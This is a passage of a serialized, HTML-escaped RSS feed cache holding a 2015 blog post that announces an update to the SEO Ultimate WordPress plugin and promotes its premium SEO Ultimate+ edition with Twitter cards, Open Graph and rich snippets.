Pluginm\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Tue, 30 Jun 2015 02:46:59 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9485\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:10438:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick &lt;strong&gt;heads up&lt;/strong&gt; that there&amp;#8217;s a new version of &lt;strong&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate Version 7.6.5.7&lt;/strong&gt; available for download from the &lt;a href=\&quot;https://wordpress.org/plugins/seo-ultimate/\&quot;&gt;WordPress repository&lt;/a&gt; or via your WordPress plugin dashboard.&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 400px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/qd5yjgfos1?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;700\&quot; height=\&quot;398\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;The video above covers the free update, however, to see the premium version, keep scrolling ;)&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;As the numeric code implies (since it&amp;#8217;s only incremental) that even though there were some &lt;em&gt;minor bug fixes&lt;/em&gt;, this was mostly a cosmetic update to the plugin. &lt;/p&gt;\n&lt;p&gt;You&amp;#8217;ll find a few new resources and tools available for you in the SEO Admin Bar &lt;strong&gt;that we cover in the video above&lt;/strong&gt;. Also, we&amp;#8217;ve also covered some of the new tools that are accessible from the SEO admin bar. &lt;/p&gt;\n&lt;p&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-left\&quot;&gt;\n&lt;h1&gt;SEO Ultimate Goes Premium!&lt;/h1&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Granted, truth be told, the real heavy lifting from this point on is going into &lt;strong&gt;the premium version of the plugin&lt;/strong&gt; called &lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;. We&amp;#8217;re not going to pull any features, but all new ones move to +.&lt;/p&gt;\n&lt;p&gt;For example, there&amp;#8217;s over 7 months of coding time on one module to rewrite the base code of the Open Graph Integrator which has now shifted into its next embodiment&amp;#8230;. (&lt;em&gt;like a caterpillar to a butterfly&lt;/em&gt;) the &lt;strong&gt;OpenGraph+ Module&lt;/strong&gt; which you can &lt;a href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot;&gt;see here&lt;/a&gt;, with features like &amp;#8230;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:10px;\&quot;&gt;&lt;strong&gt;Enjoy Simple, Easy-to-Implement Twitter Cards!&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/twitter-summary-card.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create All 7 Twitter Cards with SEO Ultimate+\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;Now You Can Make Twitter Cards (all 7 types) with Ease! With No Fuss and No Mess!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot; style=\&quot;padding-top:5px;\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;More Powerful Page Level Settings&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;The premium version &lt;strong&gt;&lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;&lt;/strong&gt; handles Google+ customization, &lt;strong&gt;Open Graph / Facebook&lt;/strong&gt; integration (on a page-by-page, post-by-post or mass edits 100 pages at a time).&lt;/p&gt;\n&lt;p&gt;You can create all 7 types of Twitter cards&amp;#8230;&lt;strong&gt;like a BOSS &lt;/strong&gt;(&lt;em&gt;that validate flawlessly&lt;/em&gt;) as well as there&amp;#8217;s a powerful new arsenal of &lt;strong&gt;rich snippets &lt;/strong&gt;to shoot up the SERPs ranging from &lt;strong&gt;Local SEO (Business), Events, Organization, People, Products, Recipes, Reviews, Software&lt;/strong&gt; and &lt;strong&gt;Video&lt;/strong&gt; (with more to come).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;SEO Ultimate Page Level Rich Snippets\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;There’s even a global fallback in SEO Ultimate+ in case you forget to add custom OG data at the page level where you can assign entire post types to as rules to a specific Open Graph type or specific type of Twitter Cards (&lt;a href=\&quot;https://dev.twitter.com/cards/types\&quot; data-mce-href=\&quot;https://dev.twitter.com/cards/types\&quot;&gt;all 7 twitter cards&lt;/a&gt; are available and validate).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;Global Post Type Customization for Open Graph and Twitter Cards.&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create Valid Twitter Cards with Ease\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;The New (Premium) OpenGraph+ Module and 7 New Rich Snippets&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;You can also mass edit pages and posts (up to 100 entries at a time and customize unique titles, meta descriptions, Open Graph, Google+, FB and Twitter inputs).&lt;/p&gt;\n&lt;p&gt;Now that’s something you can’t do with the FREE version of SEO Ultimate…since it only has rich-snippets for &lt;em&gt;place&lt;/em&gt; and &lt;em&gt;review&lt;/em&gt; ;( and sorry guys &lt;strong&gt;no new features on the free version from now on&lt;/strong&gt;, only bug fixes as all new feature development is moving exclusively the premium version SEO Ultimate+.&lt;/p&gt;\n&lt;p&gt;In any case, this is only the beginning and we’ll be adding new features to SEO Ultimate plus, but don’t worry, there’s still plenty of horsepower in the free version (which you can get &lt;a href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot; data-mce-href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot;&gt;FREE video training&lt;/a&gt; for here). Before we leave, we&amp;#8217;ll let you play the quick and dirty version of the OpenGraph+ Module video.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:35px;margin-bottom:35px;\&quot;&gt;&lt;iframe style=\&quot;height: 313px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/hocfwbb6rd?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;650\&quot; height=\&quot;311\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;But, if you haven’t already, let us know what you think by clicking here and &lt;a href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot; data-mce-href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot;&gt;leaving us a review on WordPress&lt;/a&gt; ;) or you can show your support by purchasing &lt;a href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot;&gt;SEO Ultimate+&lt;/a&gt; for its powerful new features, training and support.&lt;/p&gt;\n&lt;p&gt;If you&amp;#8217;re looking&amp;nbsp; to build a new site, make sure to try SEO Ultimate&amp;#8217;s companion product the &lt;a href=\&quot;http://www.seodesignframework.com\&quot; data-mce-href=\&quot;http://www.seodesignframework.com\&quot;&gt;SEO Design Framework&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;Thanks for stopping in&amp;#8230; since we can&amp;#8217;t read it, let us know what&amp;#8217;s on your mind. &lt;/p&gt;\n&lt;p&gt;Leave a comment below or share this post socially to get the word out about &lt;em&gt;&lt;strong&gt;our soft launch for SEO Ultimate+ &lt;/strong&gt;&lt;/em&gt;(up, up and away).&lt;/p&gt;\n&lt;p&gt;We look forward to hearing from you or you can be stealthy and just &lt;a href=\&quot;https://twitter.com/@jeffrey_smith\&quot; data-mce-href=\&quot;https://twitter.com/@jeffrey_smith\&quot;&gt;follow me on twitter&lt;/a&gt; instead.&lt;/p&gt;\n&lt;p&gt;All the best!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=CLbuMSbKLvM:2zGIgKikAM0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/CLbuMSbKLvM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:515:\&quot;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick heads up that there&amp;#8217;s a new version of SEO Ultimate Version 7.6.5.7 available for download from the WordPress repository or via your WordPress plugin dashboard. The video above covers the free update, however, to see the premium version, keep scrolling &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:119:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;3\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:114:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/\&quot;;}s:7:\&quot;summary\&quot;;s:515:\&quot;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick heads up that there&amp;#8217;s a new version of SEO Ultimate Version 7.6.5.7 available for download from the WordPress repository or via your WordPress plugin dashboard. The video above covers the free update, however, to see the premium version, keep scrolling &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/new-update-plus-seo-ultimate-is-going-premium-up-up-and-away/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:10438:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;We&amp;#8217;re feeling SUPER (no tens inpunded&amp;#8230;) and just wanted to give you all a quick &lt;strong&gt;heads up&lt;/strong&gt; that there&amp;#8217;s a new version of &lt;strong&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate Version 7.6.5.7&lt;/strong&gt; available for download from the &lt;a href=\&quot;https://wordpress.org/plugins/seo-ultimate/\&quot;&gt;WordPress repository&lt;/a&gt; or via your WordPress plugin dashboard.&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 400px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/qd5yjgfos1?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;700\&quot; height=\&quot;398\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;The video above covers the free update, however, to see the premium version, keep scrolling ;)&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;As the numeric code implies (since it&amp;#8217;s only incremental) that even though there were some &lt;em&gt;minor bug fixes&lt;/em&gt;, this was mostly a cosmetic update to the plugin. &lt;/p&gt;\n&lt;p&gt;You&amp;#8217;ll find a few new resources and tools available for you in the SEO Admin Bar &lt;strong&gt;that we cover in the video above&lt;/strong&gt;. Also, we&amp;#8217;ve also covered some of the new tools that are accessible from the SEO admin bar. &lt;/p&gt;\n&lt;p&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-left\&quot;&gt;\n&lt;h1&gt;SEO Ultimate Goes Premium!&lt;/h1&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Granted, truth be told, the real heavy lifting from this point on is going into &lt;strong&gt;the premium version of the plugin&lt;/strong&gt; called &lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;. We&amp;#8217;re not going to pull any features, but all new ones move to +.&lt;/p&gt;\n&lt;p&gt;For example, there&amp;#8217;s over 7 months of coding time on one module to rewrite the base code of the Open Graph Integrator which has now shifted into its next embodiment&amp;#8230;. (&lt;em&gt;like a caterpillar to a butterfly&lt;/em&gt;) the &lt;strong&gt;OpenGraph+ Module&lt;/strong&gt; which you can &lt;a href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/screencaps/\&quot;&gt;see here&lt;/a&gt;, with features like &amp;#8230;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:10px;\&quot;&gt;&lt;strong&gt;Enjoy Simple, Easy-to-Implement Twitter Cards!&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/twitter-summary-card.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create All 7 Twitter Cards with SEO Ultimate+\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;Now You Can Make Twitter Cards (all 7 types) with Ease! With No Fuss and No Mess!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot; style=\&quot;padding-top:5px;\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;More Powerful Page Level Settings&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;The premium version &lt;strong&gt;&lt;a href=\&quot;https://www.seoultimateplus.com\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com\&quot;&gt;SEO Ultimate+&lt;/a&gt;&lt;/strong&gt; handles Google+ customization, &lt;strong&gt;Open Graph / Facebook&lt;/strong&gt; integration (on a page-by-page, post-by-post or mass edits 100 pages at a time).&lt;/p&gt;\n&lt;p&gt;You can create all 7 types of Twitter cards&amp;#8230;&lt;strong&gt;like a BOSS &lt;/strong&gt;(&lt;em&gt;that validate flawlessly&lt;/em&gt;) as well as there&amp;#8217;s a powerful new arsenal of &lt;strong&gt;rich snippets &lt;/strong&gt;to shoot up the SERPs ranging from &lt;strong&gt;Local SEO (Business), Events, Organization, People, Products, Recipes, Reviews, Software&lt;/strong&gt; and &lt;strong&gt;Video&lt;/strong&gt; (with more to come).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;SEO Ultimate Page Level Rich Snippets\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/Local-Page-Rich-Snippets.png\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;There’s even a global fallback in SEO Ultimate+ in case you forget to add custom OG data at the page level where you can assign entire post types to as rules to a specific Open Graph type or specific type of Twitter Cards (&lt;a href=\&quot;https://dev.twitter.com/cards/types\&quot; data-mce-href=\&quot;https://dev.twitter.com/cards/types\&quot;&gt;all 7 twitter cards&lt;/a&gt; are available and validate).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;Global Post Type Customization for Open Graph and Twitter Cards.&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create Valid Twitter Cards with Ease\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;The New (Premium) OpenGraph+ Module and 7 New Rich Snippets&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;You can also mass edit pages and posts (up to 100 entries at a time and customize unique titles, meta descriptions, Open Graph, Google+, FB and Twitter inputs).&lt;/p&gt;\n&lt;p&gt;Now that’s something you can’t do with the FREE version of SEO Ultimate…since it only has rich-snippets for &lt;em&gt;place&lt;/em&gt; and &lt;em&gt;review&lt;/em&gt; ;( and sorry guys &lt;strong&gt;no new features on the free version from now on&lt;/strong&gt;, only bug fixes as all new feature development is moving exclusively the premium version SEO Ultimate+.&lt;/p&gt;\n&lt;p&gt;In any case, this 